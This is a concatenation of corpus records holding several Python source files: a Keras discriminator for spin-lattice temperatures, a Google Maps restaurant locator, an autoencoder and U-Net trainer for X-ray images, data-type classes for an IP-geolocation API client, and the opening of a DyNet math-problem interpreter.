np_utils\r\n\r\nK.set_image_dim_ordering('th')\r\n\r\n#define two optimizer with different learning rates\r\nopt = Adagrad(lr=0.005, epsilon=1e-08)\r\ndopt = Adagrad(lr=0.0005, epsilon=1e-08)\r\ndis_temp_opt = Adagrad(lr=0.001, epsilon=1e-08)\r\nopt_enc_frozen = Adagrad(lr=0.008, epsilon=1e-08)\r\n\r\n############################ Load data and preprocessing #######################\r\n\r\n# load data\r\n\r\n########## N = 20 #############################\r\n# data for Renormalization\r\nprint(\"start loading data\")\r\nfile = open('/fs1/users/mstieffenhofer/stacked_gan/simple_sgan/data_N20_Trange3200_0.pickle', 'rb')\r\n#file = open('data_N20_Trange3200_0.pickle', 'rb')\r\nX_train1_N20 = pickle.load(file)\r\nfile.close() \r\nfile = open('/fs1/users/mstieffenhofer/stacked_gan/simple_sgan/data_N20_Trange3200_1.pickle', 'rb')\r\n#file = open('data_N20_Trange3200_1.pickle', 'rb')\r\nX_train2_N20 = pickle.load(file)\r\nfile.close() \r\n\r\nX_train_N20 = np.concatenate((X_train1_N20, X_train2_N20))\r\n\r\nprint(\"loading data successfull\")\r\n\r\n\r\n#X_train = X_train[8*3200:22*3200]\r\n\r\n(n_samples_b,dim, num_row_b, num_col_b) = X_train_N20.shape\r\n\r\nnb_temps_N20 = int(n_samples_b/3200)\r\nprint(X_train_N20.shape)\r\n\r\nprint(nb_temps_N20)\r\n\r\n########## N = 10 #############################\r\n# data for training the discriminator\r\nprint(\"start loading data\")\r\nfile = open('/fs1/users/mstieffenhofer/stacked_gan/simple_sgan/data1_N10_Trange3200.pickle', 'rb')\r\nX_train1 = pickle.load(file)\r\nfile.close() \r\nfile = open('/fs1/users/mstieffenhofer/stacked_gan/simple_sgan/data2_N10_Trange3200.pickle', 'rb')\r\nX_train2 = pickle.load(file)\r\nfile.close() \r\n\r\nX_train_all = np.concatenate((X_train1, X_train2))\r\nprint(\"loading data successfull\")\r\n\r\n#selected temperature range the discriminator shall be trained on\r\nn = 90\r\nm = 120\r\nnb = m-n\r\n\r\n\r\nfor b in range(n,m):\r\n if b == n:\r\n #train data\r\n X_train = X_train_all[b*3200 : (b+1)*3200 -100]\r\n X_train_v = X_train_all[b*3200 + 3100: (b+1)*3200 ]\r\n else:\r\n #validation data\r\n samples = X_train_all[b*3200 : (b+1)*3200 -100]\r\n X_train = np.concatenate((X_train, samples))\r\n X_train_v = np.concatenate((X_train_v, X_train_all[b*3200 + 3100 : (b+1)*3200 ]))\r\n\r\n(n_samples_b,dim, num_row_b, num_col_b) = X_train.shape\r\n\r\n\r\nprint(\"Shape of X_train:\")\r\nprint(X_train.shape)\r\nprint(X_train_v.shape)\r\n\r\ny_train = np.array(3100*[0])\r\nfor n in range(1,nb):\r\n y_train = np.concatenate((y_train,np.array(3100*[n]))) \r\n\r\n\r\ny_train_v = np.array(100*[0])\r\nfor n in range(1,nb):\r\n y_train_v = np.concatenate((y_train_v,np.array(100*[n]))) \r\n\r\nprint(\"ja\")\r\nlabels = [\"T = 0.1\", \"T = 0.2\", \"T = 0.3\",\"T = 0.4\",\"T = 0.5\",\"T = 0.6\",\"T = 0.7\",\"T = 0.8\",\"T = 0.9\",\"T = 1.0\",\"T = 1.04\",\"T = 1.1\",\"T = 1.2\",\"T = 1.3\",\"T = 1.4\",\"T = 1.5\",\"T = 1.6\",\"T = 1.7\",\"T = 1.8\",\"T = 1.9\",\"T = 2.0\"]\r\n\r\n# one hot encode outputs\r\ny_train = np_utils.to_categorical(y_train)\r\nprint(y_train.shape)\r\ny_train_v = np_utils.to_categorical(y_train_v)\r\nprint(y_train_v.shape)\r\n\r\nnum_classes = y_train.shape[1]\r\n#num_classes_v = y_train_v.shape[1]\r\n\r\nprint(\"number of classes:\"+str(num_classes))\r\n\r\n\r\n\r\n################################################################################################################################################################################################################################\r\n################################################################################################## DECODER (RENORMALIZATION) #######################################################################################################\r\n################################################################################################################################################################################################################################\r\n\r\n\r\n\r\ndef normalize(layers):\r\n norm = tf.square(layers)\r\n norm = tf.reduce_sum(norm, 1, keep_dims=True)\r\n norm = tf.sqrt(norm) \r\n norm = tf.concat([norm,norm, norm], 1)\r\n layers= tf.div(layers, norm)\r\n\r\n return layers \r\n\r\n#########################################----------------------DECODER---------------------################################################\r\n\r\ndef make_trainable(net, val):\r\n net.trainable = val\r\n for l in net.layers:\r\n l.trainable = val\t\r\n\r\n#########################################----------------------DISCRIMINATOR - TEMPERATURE---------------------################################################\r\ndef prob_to_class_out_shape(input_shape):\r\n shape = list(input_shape)\r\n #shape[1] = 15\r\n return tuple([shape[0],1])\r\n\r\ndef prob_to_class(l):\r\n l = tf.argmax(l, axis = 1)\r\n l = tf.cast(l, tf.float32)\r\n return l\r\n\r\n\t\r\n#dropout rate\r\ndr_dis_tem = 0.3\r\n\r\n#define input tenso\r\ndis_temp_inp = Input(shape=(3,10,10))\r\n\r\nH = Conv2D(256,(3,3), subsample=(2,2), border_mode ='same')(dis_temp_inp)\r\n\r\nH = LeakyReLU(0.2)(H)\r\n\r\nH = Conv2D(512,(3,3), border_mode ='same')(H)\r\n\r\nH = LeakyReLU(0.2)(H)\r\n\r\nH = Flatten()(H)\r\n\r\nH = Dense(2000)(H)\r\nH = LeakyReLU(0.2)(H)\r\n\r\ndis_temp_out = Dense(num_classes, activation='softmax')(H)\t\r\n\t\r\ndis_temp_N10 = Model(dis_temp_inp, dis_temp_out)\r\ndis_temp_N10.compile(loss='categorical_crossentropy', optimizer=dis_temp_opt, metrics=['accuracy'])\r\ndis_temp_N10.summary()\t\r\n\r\n\r\n\r\n\r\n#Renormalization\r\n\r\nencoder_inp = Input(shape=(3,None,None))\r\nH = AveragePooling2D(pool_size=(2, 2))(encoder_inp)\r\nencoder_out = Lambda(normalize)(H)\r\n\r\nencoder = Model(encoder_inp, encoder_out)\r\nencoder.compile(loss='categorical_crossentropy', optimizer=opt)\r\nencoder.summary()\r\n\r\n\r\n\r\n#define input tenso\r\ndis_temp_prob_inp = Input(shape=(3,10,10))\r\nH = dis_temp_N10(dis_temp_prob_inp)\r\ndis_temp_prob_out = Lambda(prob_to_class,output_shape=prob_to_class_out_shape)(H)\r\n\r\ndis_temp_prob_N10 = Model(dis_temp_prob_inp, dis_temp_prob_out)\r\n#define learning rule\r\ndis_temp_prob_N10.compile(loss='categorical_crossentropy', optimizer=dis_temp_opt, metrics=['accuracy'])\r\ndis_temp_prob_N10.summary()\t\r\n\r\n\r\n\"\"\"\r\nclass_weight = {0 : 1.,\r\n 1: 1.,\r\n 2: 1.,\r\n 3: 1.,\r\n 4: 1.,\r\n 5: 1.,\r\n 6: 1.,\r\n 7: 1.,\r\n 8: 1.,\r\n 9: 1.,\r\n 10: 1.,\r\n 11: 1.,\r\n 12: 1.,\r\n 13: 1.,\r\n 14: 1.,\r\n 15: 1.,\r\n 16: 1.,\r\n 17: 1.,\r\n 18: 1.,\r\n 19: 1.,\r\n 20: 0.5,\r\n 21: 0.5,\r\n 22: 0.5,\r\n 23: 0.5,\r\n 24: 0.5,\r\n 25: 0.5,\r\n 26: 0.5,\r\n 27: 0.5,\r\n 28: 0.5,\r\n 29: 0.5,\r\n 30: 0.5}\r\n\"\"\"\r\n\r\n\r\nlosses = {\"dt\":[]} \r\n\r\ndef training(nb_epoch=5000, BATCH_SIZE=32):\r\n #display the progess of the learning process \r\n #progbar = generic_utils.Progbar(nb_epoch*BATCH_SIZE)\r\n \r\n \r\n make_trainable(dis_temp_N10,True) \r\n\r\n dt_loss = dis_temp_N10.fit(X_train, y_train,validation_data=(X_train_v, y_train_v), epochs=4, batch_size=32)\r\n losses[\"dt\"].append(dt_loss)\r\n\r\n #prog_list = [(\"DT\", dt_loss[0]), (\"Acc\", dt_loss[1])] \r\n #progbar.add(BATCH_SIZE, values= prog_list) \r\n\r\n dis_temp_N10.save('dis_temp_N10_flow.h5', overwrite=True)\r\n\t\r\n\r\n\r\n\r\nfor n in range(0,20):\r\n training(nb_epoch=1000, BATCH_SIZE=32)\t\r\n \r\n\r\n\r\n","sub_path":"dis_temp.py","file_name":"dis_temp.py","file_ext":"py","file_size_in_byte":8381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"405449528","text":"from gmaps import get_multiple\r\nfrom postalCode import add_postal_code\r\nfrom nearGym import add_near_place\r\nimport json\r\n\r\ndef main(keywords,start,radius):\r\n data = get_multiple(keywords,start,radius)\r\n add_postal_code(data)\r\n add_near_place(data,radius_near_key_point,near_key_point)\r\n with open('data2.json', 'w') as outfile:\r\n json.dump(data,outfile)\r\n\r\nif __name__ == '__main__':\r\n keywords = [\"Wendy's\",\"Burger King\",\"A&W Canada\",\"Quik Chik\",\"KFC\",\r\n \"Harvey's\",\"McDonald's\",\"Subway\",\"Popeyes\"]\r\n start = '43.6629,-79.3957' #uoft coordinates\r\n radius = '15000' #in meters\r\n near_key_point='gym'\r\n radius_near_key_point='1000'\r\n main(keywords,start,radius,near_key_point,radius_near_key_point)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"370630859","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nimport torch.utils.data as Data\r\nimport os\r\nfrom torchvision import transforms\r\nfrom torch.nn import DataParallel\r\n\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"]='0'\r\nids=[0]\r\ntorch.cuda.empty_cache()\r\n#initial values\r\nEPOCH = 50\r\nBATCH_SIZE = 64\r\nLR = 0.001\r\n\r\n# load images data\r\ntrain_data = torchvision.datasets.ImageFolder('./Training_set', transform=transforms.Compose([\r\n transforms.Grayscale(num_output_channels=1),transforms.ToTensor()]))\r\ntrain_loader=Data.DataLoader(dataset=train_data, batch_size=BATCH_SIZE, shuffle=True)\r\n\r\nclass DoubleConv(nn.Module):\r\n def __init__(self, in_ch, out_ch):\r\n super(DoubleConv, self).__init__()\r\n self.conv = nn.Sequential(\r\n nn.Conv2d(in_ch, out_ch, 3, padding=1),\r\n nn.BatchNorm2d(out_ch),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(out_ch, out_ch, 3, padding=1),\r\n nn.BatchNorm2d(out_ch),\r\n nn.ReLU(inplace=True)\r\n )\r\n def forward(self, input):\r\n return self.conv(input)\r\n\r\nclass UNet(nn.Module):\r\n def __init__(self,in_ch,out_ch):\r\n super(UNet, self).__init__()\r\n\r\n self.conv1 = DoubleConv(in_ch, 64)\r\n self.pool1 = nn.MaxPool2d(2)\r\n self.conv2 = DoubleConv(64, 128)\r\n self.pool2 = nn.MaxPool2d(2)\r\n self.conv3 = DoubleConv(128, 256)\r\n self.pool3 = nn.MaxPool2d(2)\r\n self.conv4 = DoubleConv(256, 512)\r\n self.pool4 = nn.MaxPool2d(2)\r\n self.conv5 = DoubleConv(512, 1024)\r\n self.up6 = nn.ConvTranspose2d(1024, 512, 2, stride=2)\r\n self.conv6 = DoubleConv(1024, 512)\r\n self.up7 = nn.ConvTranspose2d(512, 256, 2, stride=2)\r\n self.conv7 = DoubleConv(512, 256)\r\n self.up8 = nn.ConvTranspose2d(256, 128, 2, stride=2)\r\n self.conv8 = DoubleConv(256, 128)\r\n self.up9 = nn.ConvTranspose2d(128, 64, 2, stride=2)\r\n self.conv9 = DoubleConv(128, 64)\r\n self.conv10 = nn.Conv2d(64,out_ch, 1)\r\n\r\n def forward(self,x):\r\n c1=self.conv1(x)\r\n p1=self.pool1(c1)\r\n c2=self.conv2(p1)\r\n p2=self.pool2(c2)\r\n c3=self.conv3(p2)\r\n p3=self.pool3(c3)\r\n c4=self.conv4(p3)\r\n p4=self.pool4(c4)\r\n c5=self.conv5(p4)\r\n up_6= self.up6(c5)\r\n merge6 = torch.cat([up_6, c4], dim=1)\r\n c6=self.conv6(merge6)\r\n up_7=self.up7(c6)\r\n merge7 = torch.cat([up_7, c3], dim=1)\r\n c7=self.conv7(merge7)\r\n up_8=self.up8(c7)\r\n merge8 = torch.cat([up_8, c2], dim=1)\r\n c8=self.conv8(merge8)\r\n up_9=self.up9(c8)\r\n merge9=torch.cat([up_9,c1],dim=1)\r\n c9=self.conv9(merge9)\r\n c10=self.conv10(c9)\r\n out = nn.Sigmoid()(c10)\r\n return out\r\n\r\n#unet=UNet(in_ch=1,out_ch=1).cuda()\r\nunet=DataParallel(UNet(in_ch=1,out_ch=1)).cuda()\r\noptimizer=torch.optim.Adam(unet.parameters(),lr=LR) #optimizer: SGD, Momentum, Adagrad, etc. This one is better.\r\nloss_func=nn.MSELoss() #loss function: MSE\r\n\r\nclass Autoencoder1(nn.Module):\r\n def __init__(self):\r\n super(Autoencoder1, self).__init__()\r\n self.encoder = nn.Sequential( # two layers encoder\r\n nn.Linear(74*74, 8000),\r\n nn.ReLU(True), # ReLU, Tanh, etc.\r\n nn.Linear(8000, 1000),\r\n nn.ReLU(True), # input is in (0,1), so select this one\r\n )\r\n self.decoder = nn.Sequential( # two layers decoder\r\n nn.Linear(1000, 8000),\r\n nn.ReLU(True),\r\n nn.Linear(8000, 74*74),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x):\r\n encoded = self.encoder(x)\r\n decoded = self.decoder(encoded)\r\n return decoded\r\n\r\nclass Autoencoder2(nn.Module):\r\n def __init__(self):\r\n super(Autoencoder2, self).__init__()\r\n self.encoder = nn.Sequential( # two layers encoder\r\n nn.Linear(74*74, 8000),\r\n nn.ReLU(True), # ReLU, Tanh, etc.\r\n nn.Linear(8000, 1000),\r\n nn.ReLU(True), # input is in (0,1), so select this one\r\n )\r\n self.decoder = nn.Sequential( # two layers decoder\r\n nn.Linear(1000, 8000),\r\n nn.ReLU(True),\r\n nn.Linear(8000, 74*74),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x):\r\n encoded = self.encoder(x)\r\n decoded = self.decoder(encoded)\r\n return decoded\r\n\r\nclass Autoencoder3(nn.Module):\r\n def __init__(self):\r\n super(Autoencoder3, self).__init__()\r\n self.encoder = nn.Sequential( # two layers encoder\r\n nn.Linear(74*74, 8000),\r\n nn.ReLU(True),\r\n nn.Linear(8000, 1000),\r\n nn.ReLU(True), # input is in (0,1), so select this one\r\n )\r\n self.decoder = nn.Sequential( # two layers decoder\r\n nn.Linear(1000, 8000),\r\n nn.ReLU(True),\r\n nn.Linear(8000, 74*74),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x):\r\n encoded = self.encoder(x)\r\n decoded = self.decoder(encoded)\r\n return decoded\r\n\r\n\r\nclass Autoencoder4(nn.Module):\r\n def __init__(self):\r\n super(Autoencoder4, self).__init__()\r\n self.encoder = nn.Sequential( # two layers encoder\r\n nn.Linear(74*74, 8000),\r\n nn.ReLU(True), # ReLU, Tanh, etc.\r\n nn.Linear(8000, 1000),\r\n nn.ReLU(True), # input is in (0,1), so select this one\r\n )\r\n self.decoder = nn.Sequential( # two layers decoder\r\n nn.Linear(1000, 8000),\r\n nn.ReLU(True),\r\n nn.Linear(8000, 74*74),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x):\r\n encoded = self.encoder(x)\r\n decoded = self.decoder(encoded)\r\n return decoded\r\n\r\n#Load 4 NNs\r\nautoencoder1=Autoencoder1()\r\nautoencoder1.load_state_dict(torch.load('4NNs-part1.pkl', map_location=lambda storage, loc:storage)) #load the parameter values of NN\r\nautoencoder2=Autoencoder2()\r\nautoencoder2.load_state_dict(torch.load('4NNs-part2.pkl', map_location=lambda storage, loc:storage))\r\nautoencoder3=Autoencoder3()\r\nautoencoder3.load_state_dict(torch.load('4NNs-part3.pkl', map_location=lambda storage, loc:storage))\r\nautoencoder4=Autoencoder4()\r\nautoencoder4.load_state_dict(torch.load('4NNs-part4.pkl', map_location=lambda storage, loc:storage))\r\n\r\nfor epoch in range(EPOCH):\r\n for step, (x,x_label) in enumerate(train_loader): #train_loader has the number of batches, data, and label\r\n b_x=x.view(-1,128*128)\r\n b_y=x.cuda()\r\n batch_size = x.size()[0]\r\n b_xx = b_x.view(batch_size, 128, 128)\r\n\r\n b_x1 = torch.narrow(torch.narrow(b_xx, 2, 0, 74), 1, 0, 74).contiguous().view(-1, 74 * 74).cuda()\r\n b_x2 = torch.narrow(torch.narrow(b_xx, 2, 54, 74), 1, 0, 74).contiguous().view(-1, 74 * 74).cuda()\r\n b_x3 = torch.narrow(torch.narrow(b_xx, 2, 0, 74), 1, 54, 74).contiguous().view(-1, 74 * 74).cuda()\r\n b_x4 = torch.narrow(torch.narrow(b_xx, 2, 54, 74), 1, 54, 74).contiguous().view(-1, 74 * 74).cuda()\r\n # running in the neural network\r\n decoded1 = autoencoder1(b_x1).view(batch_size, 74, 74)\r\n decoded2 = autoencoder2(b_x2).view(batch_size, 74, 74)\r\n decoded3 = autoencoder3(b_x3).view(batch_size, 74, 74)\r\n decoded4 = autoencoder4(b_x4).view(batch_size, 74, 74)\r\n\r\n # concatenate 4 parts\r\n decoded1_se = torch.narrow(decoded1, 2, 0, 54)\r\n decoded1_co = torch.narrow(decoded1, 2, 54, 20)\r\n decoded2_se = torch.narrow(decoded2, 2, 20, 54)\r\n decoded2_co = torch.narrow(decoded2, 2, 0, 20)\r\n decoded3_se = torch.narrow(decoded3, 2, 0, 54)\r\n decoded3_co = torch.narrow(decoded3, 2, 54, 20)\r\n decoded4_se = torch.narrow(decoded4, 2, 20, 54)\r\n decoded4_co = torch.narrow(decoded4, 2, 0, 20)\r\n decoded12_ave = (decoded1_co + decoded2_co) / 2\r\n decoded34_ave = (decoded3_co + decoded4_co) / 2\r\n up_part = torch.cat([decoded1_se, decoded12_ave, decoded2_se], dim=2)\r\n down_part = torch.cat([decoded3_se, decoded34_ave, decoded4_se], dim=2)\r\n up_part_se = torch.narrow(up_part, 1, 0, 54)\r\n up_part_co = torch.narrow(up_part, 1, 54, 20)\r\n down_part_se = torch.narrow(down_part, 1, 20, 54)\r\n down_part_co = torch.narrow(down_part, 1, 0, 20)\r\n updown_ave = (up_part_co + down_part_co) / 2\r\n decoded = torch.cat([up_part_se, updown_ave, down_part_se], dim=1).cuda()\r\n #running in the neural network\r\n output=unet(decoded)\r\n loss=loss_func(output,b_y)\r\n optimizer.zero_grad()#initialize the optimizer\r\n loss.backward()\r\n optimizer.step()\r\n\r\n if step%50==0:\r\n print('Epoch:',epoch, '| tran loss : %.4f' % loss.data.cpu().numpy())\r\n\r\ntorch.save(unet.module.state_dict(),'Unet-refine-Xray.pkl') #save the parameter values of neural network\r\n","sub_path":"X-ray Images/AE-Unet_train.py","file_name":"AE-Unet_train.py","file_ext":"py","file_size_in_byte":8914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"348932861","text":"# smallso.ipduplex.types.py is python-3.7.3 source file\n\n# Copyright 2019 SmallSO Labs.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# define Types static class\n\nclass Types:\n '''\n Types is a static class. \n This class contains multiple data structure member static classes.\n '''\n\n # define RegionResult class\n\n class RegionResult:\n '''\n RegionResult is a dynamic class. Members of this class \n indicate the properties of the geographic location.\n\n member str country_name: Indicate the country name. \n If it is unknown, the value of this property will be set to None.\n \n member str province_name: Indicate the name of the province or state. \n If it is unknown, the value of this property will be set to None.\n \n member str city_name: Indicate the city name. \n If it is unknown, the value of this property will be set to None.\n \n member str county_name: Indicate the district name. \n If it is unknown, the value of this property will be set to None.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.country_name: str = None\n self.province_name: str = None\n self.city_name: str = None\n self.county_name: str = None\n\n # define LocationResult class\n\n class LocationResult:\n '''\n A LocationResult is a dynamic class whose members indicate the \n properties of the location.\n\n member str timezone_name: Indicates the name of the time zone in the location. \n If it is unknown, the value of this property will be set to None.\n\n member float longitude_number: Indicates that the location accuracy is city-level longitude. \n If it is unknown, the value of this property will be set to None.\n\n member float latitude_number: Indicates that the location accuracy is city-level latitude. \n If it is unknown, the value of this property will be set to None.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.timezone_name: str = None\n self.longitude_number: float = None\n self.latitude_number: float = None\n\n # define ProviderResult class\n\n class ProviderResult:\n '''\n ProviderResult is a dynamic class. \n Members of this class indicate the attributes of the carrier.\n\n member list isp_names: Contains array objects that indicate multiple carrier names. \n For example, Tencent and Tencent Cloud are different carrier names because \n Tencent Cloud's carrier is Tencent. Therefore, 2 members are generated in the \n value of this attribute. If it is unknown, the value of this property will be set to None.\n\n member list isp_types: Contains array objects that indicate multiple carrier types. \n Members of this attribute may be, for example, Data Center, Internet Cafe, \n Family Broadband, and so on. Currently this property is pre-reserved and \n its value will be unconditionally set to None.\n\n member int as_number: Indicates the carrier's Autonomous System number (abbreviation: ASN). \n If it is unknown, the value of this property will be set to None.\n\n member str as_name: Indicates the carrier's Autonomous System name (abbreviation: ASN). \n Typically, the value of this property contains the owner name of the property asNumber . \n If it is unknown, the value of this property will be set to None.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.isp_names: list = None\n self.isp_types: list = None\n self.as_number: int = None\n self.as_name: str = None\n\n # define ThreatResult class\n\n class ThreatResult:\n '''\n ThreatResult is a dynamic class. \n Members of this class indicate the attributes of the threat assessment.\n\n member int timestamp: Indicates the creation of a UNIX timestamp for the threat definition. \n If it is unknown, the value of this property will be set to None.\n\n member str exponent: Indicates the threat assessment level. \n This property has the following values:\n\n Trusted: trusted\n Low: low threat level\n Middle: medium threat level\n High: high threat level\n\n If it is unknown, the value of this property will be set to NULL.\n\n member list tags: Contains an array object indicating the threat assessment tag. \n The value of this attribute (including but not limited to) may be:\n\n C2: C&C server\n Ransomware: ransomware server\n Proxy: proxy server\n Tor:Tor anonymous web server\n Botnet: botnet server\n Web_scan: web scanning\n ......\n\n If it is unknown, the value of this property will be set to None.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.timestamp: int = None\n self.exponent: str = None\n self.tags: list = None\n\n # define OtherResult class\n\n class OtherResult:\n '''\n OtherResult is a dynamic class. \n Members of this class indicate properties for extra extensions.\n\n member OtherResult.SourceIp source_ip: Contains a OtherResult.SourceIp object \n that indicates the source property of the API call.\n\n member str ip_version: Indicates the IP protocol version to which the retrieved \n IP address belongs. If the IP address type is IPv4, the value of this attribute \n will be set to IPv4; if the IP address type is IPv6, the value of this attribute \n will be set to IPv6; if the IP address type is unknown, the value of this attribute \n will be set to None.\n '''\n\n # define SourceIp class\n\n class SourceIp:\n '''\n Contains a OtherResult.SourceIp object \n that indicates the source property of the API call.\n\n member str ipv4: Indicates the IPv4 address of the source of the API call. \n If an API call request is made over an IPv6 network, the value of this property will be set to None.\n \n member str ipv6: Indicates the IPv6 address of the source of the API call. \n If an invocation request is made over an IPv4 network, the value of this attribute will be set to \n its IPv4 IPv6 mapped address ::ffff:.\n '''\n \n # define __init__ function\n\n def __init__(self):\n\n self.ipv4: str = None\n self.ipv6: str = None\n\n # define __init__ function\n\n def __init__(self):\n\n self.source_ip: OtherResult.SourceIp = Types.OtherResult.SourceIp()\n self.ip_version: str = None\n\n # define OtherResultEx class\n\n class OtherResultEx:\n '''\n OtherResultEx is a dynamic class. \n Members of this class indicate properties for extra extensions.\n\n The OtherResultEx class is an extension of OtherResult.\n\n member Types.OtherResultEx.AnyIPVersion ipv4: Contains Types.OtherResultEx.AnyIPVersion objects \n that indicate IPv4 related properties.\n\n member Types.OtherResultEx.AnyIPVersion ipv6: Contains Types.OtherResultEx.AnyIPVersion objects \n that indicate IPv6 related properties.\n '''\n\n # define AnyIP class\n\n class AnyIP:\n '''\n member int decimal: \n When the current IP version is IPv4:\n\n When the IP type is Query IP:\n\n Indicates the decimal value of the retrieved IPv4 address. \n If the retrieved IP address is IPv6, the value of this attribute will be set to None.\n \n When the IP type is Source IP:\n\n Indicates the decimal value of the API call request source IPv4 address. \n If an API call request is made over an IPv6 network, the value of this property will be set to None.\n \n When the current IP version is IPv6:\n\n When the IP type is Query IP:\n\n Indicates the decimal value of the IPv6 address being retrieved. \n If the retrieved IP address is IPv4, the value of this attribute will be set to \n the decimal value of the IPv6 mapped address ::ffff: of the IPv4 address.\n \n When the IP type is Source IP:\n\n Indicates the IPv4 address of the source of the API call request. \n If an API call request is made over an IPv6 network, the value of this property will be set to None.\n \n member str address:\n When the current IP version is IPv4:\n\n When the IP type is Query IP:\n\n Indicates the IPv4 address being retrieved. \n If the retrieved IP address is IPv6, the value of this attribute will be set to None.\n \n When the IP type is Source IP:\n\n Indicates the IPv4 address of the source of the API call request. \n If an API call request is made over an IPv6 network, the value of this property will be set to None.\n\n When the current IP version is IPv6:\n \n When the IP type is Query IP:\n\n Indicates the IPv6 address being retrieved. \n If the retrieved IP address is IPv4, the value of this attribute will be set to the \n IPv6 mapped address of the IPv4 address: ::ffff:.\n\n When the IP type is Source IP:\n\n Indicates the IPv6 address of the source of the API call request. \n If an API call request is initiated over an IPv4 network, the value of this attribute will \n be set to the IPv6 mapped address of the IPv4 address: ::ffff:.\n '''\n\n # define __init__ functuon\n\n def __init__(self):\n\n self.decimal: int = None\n self.address: str = None\n \n # define AnyIPVersion class\n\n class AnyIPVersion:\n '''\n member Types.OtherResultEx.AnyIP query_ip: \n\n When the current IP version is IPv4:\n\n Contains IPv4 related attributes that indicate the IP address being retrieved.\n\n When the current IP version is IPv6:\n\n Contains IPv6 related attributes that indicate the IP address being retrieved.\n\n member Types.OtherResultEx.AnyIP source_ip:\n\n When the current IP version is IPv4:\n\n Contains IPv4 related attributes that indicate the source IP address of the API call request.\n\n When the current IP version is IPv6:\n\n Contains IPv6-related attributes that indicate the source IP address of the API call request.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.query_ip: Types.OtherResultEx.AnyIP = Types.OtherResultEx.AnyIP()\n self.source_ip: Types.OtherResultEx.AnyIP = Types.OtherResultEx.AnyIP()\n\n # define __init__ function\n\n def __init__(self):\n\n self.ipv4: Types.OtherResultEx.AnyIPVersion = Types.OtherResultEx.AnyIPVersion()\n self.ipv6: Types.OtherResultEx.AnyIPVersion = Types.OtherResultEx.AnyIPVersion()\n\n # define OverviewResult class\n\n class OverviewResult:\n '''\n OverviewResult is a dynamic class. \n This class contains data objects that indicate geographic location, \n location, carrier, threat assessment, and other additional extended attributes.\n\n member RegionResult region: Contains a regionResult object indicating that the geographic \n location property of the IPv4 or IPv6 address is retrieved.\n\n member LocationResult location: Contains a locationResult object indicating the property \n at which the IPv4 or IPv6 address is retrieved.\n\n member ProviderResult provider: Contains a providerResult object indicating that the IPv4 \n or IPv6 address operator attribute was retrieved.\n\n member ThreatResult threat: Contains a threatResult object indicating that the IPv4 or IPv6 \n address threat assessment attribute was retrieved.\n\n member OtherResult other: Contains a otherResult object indicating that additional extra \n extended attributes are being retrieved for the IPv4 or IPv6 address.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.region: Types.RegionResult = Types.RegionResult()\n self.location: Types.LocationResult = Types.LocationResult()\n self.provider: Types.ProviderResult = Types.ProviderResult()\n self.threat: Types.ThreatResult = Types.ThreatResult()\n self.other: Types.OtherResult = Types.OtherResult()\n\n # define HeaderResult class\n\n class HeaderResult:\n '''\n HeaderResult is a dynamic class. \n This class indicates the HTTP response headers that are available for use.\n\n member str version: Indicates the version of the Cloud API service that was invoked this time.\n\n member str time_spend: Indicates the processing time of this API call request Cloud API. \n If the processing time is undetermined, the value of this header will be set to not-sure.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.version: str = None\n self.time_spend: str = None\n\n # define AnyResult class\n\n class AnyResult:\n '''\n AnyResult is a dynamic class. \n Members of this class indicate the shared properties of all IP Duplex API request responses.\n '''\n\n # define __init__ function\n\n def __init__(self):\n\n self.code: int = None\n self.message: str = None\n self.request_id: str = None\n\n\n# define Enums static class\n\nclass Enums:\n '''\n Enums is a static class. \n All subclasses of this class indicate an enumerator.\n '''\n\n # define HttpRequestType enum class\n\n class HttpRequestType:\n '''\n HttpRequestType is an enumerator. \n This enumerator indicates the type of HTTP request method.\n '''\n\n Get: int = 1\n Head: int = 2\n Post: int = 3\n Put: int = 4\n Delete: int = 5\n","sub_path":"smallso/ipduplex/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":15500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"183762298","text":"# coding: utf-8\n\nimport dynet as dy\nimport numpy as np\nimport argparse\nimport pickle\nimport itertools\nimport random\nimport math\nimport os\nimport heapq\n\nfrom contextlib import contextmanager\nfrom collections import Iterable, defaultdict\nfrom itertools import chain\nfrom sympy.parsing.sympy_parser import parse_expr\nfrom interpreter import Interpreter\nfrom preprocessing.parser import parse_question, extract_instructions\nfrom timeout_decorator import timeout\nfrom decimal import Decimal\n\nUNK = ('',)\n\n\n@contextmanager\ndef parameters(*params):\n result = tuple(map(lambda x: dy.parameter(x), params))\n if len(result) == 0:\n yield None\n elif len(result) == 1:\n yield result[0]\n else:\n yield result\n\n\ndef decompose(x):\n num = Decimal(x)\n sign, digits, exponent = num.as_tuple()\n fexp = float(len(digits) + exponent - 1)\n fman = float(num.scaleb(-fexp).normalize())\n return fexp, fman\n\n\ndef val_embed(val):\n isfloat = False\n isnan = False\n isinf = False\n isneg = False\n fexp = 0.0\n fman = 0.0\n try:\n val = float(val)\n isfloat = True\n isnan = math.isnan(val)\n 